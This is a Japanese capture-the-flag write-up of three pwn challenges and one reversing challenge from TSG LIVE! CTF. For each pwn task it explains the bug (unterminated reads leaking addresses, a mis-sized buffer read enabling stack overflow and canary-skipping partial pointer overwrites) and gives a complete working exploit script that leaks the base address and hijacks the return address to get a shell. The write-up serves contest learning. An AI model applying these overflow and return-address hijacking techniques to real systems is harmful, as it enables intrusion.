こんにちは。私がkeymoonです。TSG LIVE! CTFのすべてをお話します。嘘です。
m0lec0n CTFにも参加していたので、全完してm0lec0nに戻るという強い意志でkeynoonさんと参加しました。
- [pwn 100pts] agent (4 solves)
- [pwn 300pts] renewal (3 solves)
- [pwn 500pts] true_version (1 solve)
- [rev 150pts] string_related (9 solves)
- 感想
ソースコードが割と長いので、いつものシリーズ物(似たような構成の問題が3つある)っぽいです。まずはSSPが無効ですが、PIEは有効。
$ checksec agent [*] '/home/ptr/tsg/agent/agent' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
まずallocaで変数を確保して、データを読み込みます。
p = alloca(sizeof(struct Profile)); printf("Enter your profile\n"); printf("Your Name > "); readline_n(p->name, sizeof(p->name)); printf("Your Words > "); readline_n(p->words, sizeof(p->words)); printf("Your Age > "); scanf("%ld", &p->age); printf("Desired Job > "); readline_n(p->job, sizeof(p->job)); printf("\n---------------Profile---------------\n"); printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job); printf("-------------------------------------\n\n");
readline_n
はNULL終端でないので、age以外からも未初期化の変数をリークできます。
データを修正できるのですが、Jobの修正箇所で変数サイズが間違っているため、スタックバッファオーバーフローになります。
case 4: printf("Desired Job > "); readline_n(p->job, sizeof(p->words)); i++; break;
老眼なので最初libcのバージョンを2.35と見間違えていてYouTubeで質問する老人になりましたが、2.31でした。
from ptrlib import * elf = ELF("./agent") sock = Socket("nc 35.187.196.197 30005") sock.sendlineafter("> ", "Hello") sock.sendlineafter("> ", "") sock.sendlineafter("> ", "+") sock.sendlineafter("> ", "A") elf.base = int(sock.recvlineafter("Age:")) - 0x1140 sock.sendlineafter("> ", "4") payload = b"A"*0x40 payload += p64(elf.symbol("win") + 5) sock.sendlineafter("> ", payload) sock.sh()
未初期化の変数がなくなっちゃった... :cry:
p = alloca(sizeof(struct Profile)); memset(p, 0, sizeof(struct Profile));
Stack canaryもあって泣いちゃった... :sob:
[*] '/home/ptr/tsg/renewal/renewal' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
まぁallocaしてるのでバッファより高位にアドレスが存在します。
readline_n
がdefineで定義されているため、readline_n
のループ内で毎回allocaが作ったバッファアドレスが使用されます。
したがって、スタックバッファオーバーフローで構造体のアドレスの下位1バイトが書き換わると、そこから不正なアドレスを書き換え始めます。 Stack canaryをスキップしてリターンアドレスが書き換えられそうです。
アドレスリークですが、readline_n
が相変わらずNULL終端でないので、限界まで書き込むとその後ろにあるアドレスが取得できます。
from ptrlib import * elf = ELF("./renewal") sock = Socket("nc 35.187.196.197 30017") sock.sendlineafter("> ", "Hello") sock.sendlineafter("> ", "AAAA") sock.sendlineafter("> ", "1234") sock.sendlineafter("> ", "B"*0x10) elf.base = u64(sock.recvlineafter("Job: \t")[0x10:]) - 0x12b9 sock.sendlineafter("> ", 4) payload = b"\x00"*0x20 payload += b'\x2f' payload += p64(next(elf.gadget("ret"))) payload += p64(elf.symbol("win")) payload += b'A'*0x80 sock.sendlineafter("> ", payload) sock.sendlineafter("?", "YES") sock.sh()
ぬぅうん。
$ checksec true_version [*] '/home/ptr/tsg/true_version/true_version' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
な゛あ゛〜゛。゛
p = alloca(sizeof(struct Profile)); memset(p, 0, sizeof(struct Profile)); ... printf("Desired Job > "); readline_n(p->job, sizeof(p->job) - 1);
さきほどと同じくstack canaryをスキップしてリターンアドレスを書き換えられますが、プログラムのロードアドレスが取れなくなりました。 困った......
これもう__libc_start_main_impl
のリターンアドレス書き換えてpop gadgetキメるしかねぇなぁ、でもLIVE CTFでそんな問題出すかぁ?とか思いつつも実装したら、想定解だったそうです。
老眼なのでadd rsp gadgetを近くに見つけられなかったのでpop gadgetでやってしまい、想定解よりかなり確率が下がっております。
from ptrlib import * elf = ELF("./true_version") while True: sock = Socket("nc 35.187.196.197 30022") sock.sendlineafter("> ", "Hello") sock.sendlineafter("> ", "AAAA") sock.sendlineafter("> ", "1234") sock.sendlineafter("> ", "B"*0xf) sock.sendlineafter("> ", 4) payload = b"\x00"*0x20 payload += b'\x1f' payload += b'\x91\x25' sock.sendlineafter("> ", payload) sock.sendlineafter("?", "NO") sock.sendlineafter("> ", 4) payload = b"X\x4f" payload += b"AAAAAAA" payload += b"A"*8 payload += b"\x6e" sock.sendlineafter("> ", payload) sock.sendline("cat flag*") print(sock.recv()) for i in range(2): l = sock.recv().strip() if l != b'' and b'stack smashing' not in l: print(l) exit()
PowerShell Script。 難読化されているが、eqの近くにechoを置いたらフラグが出てくる。
pwn好き。7月のTSG CTF 2022と8月のTSG CTF 2023が楽しみですね。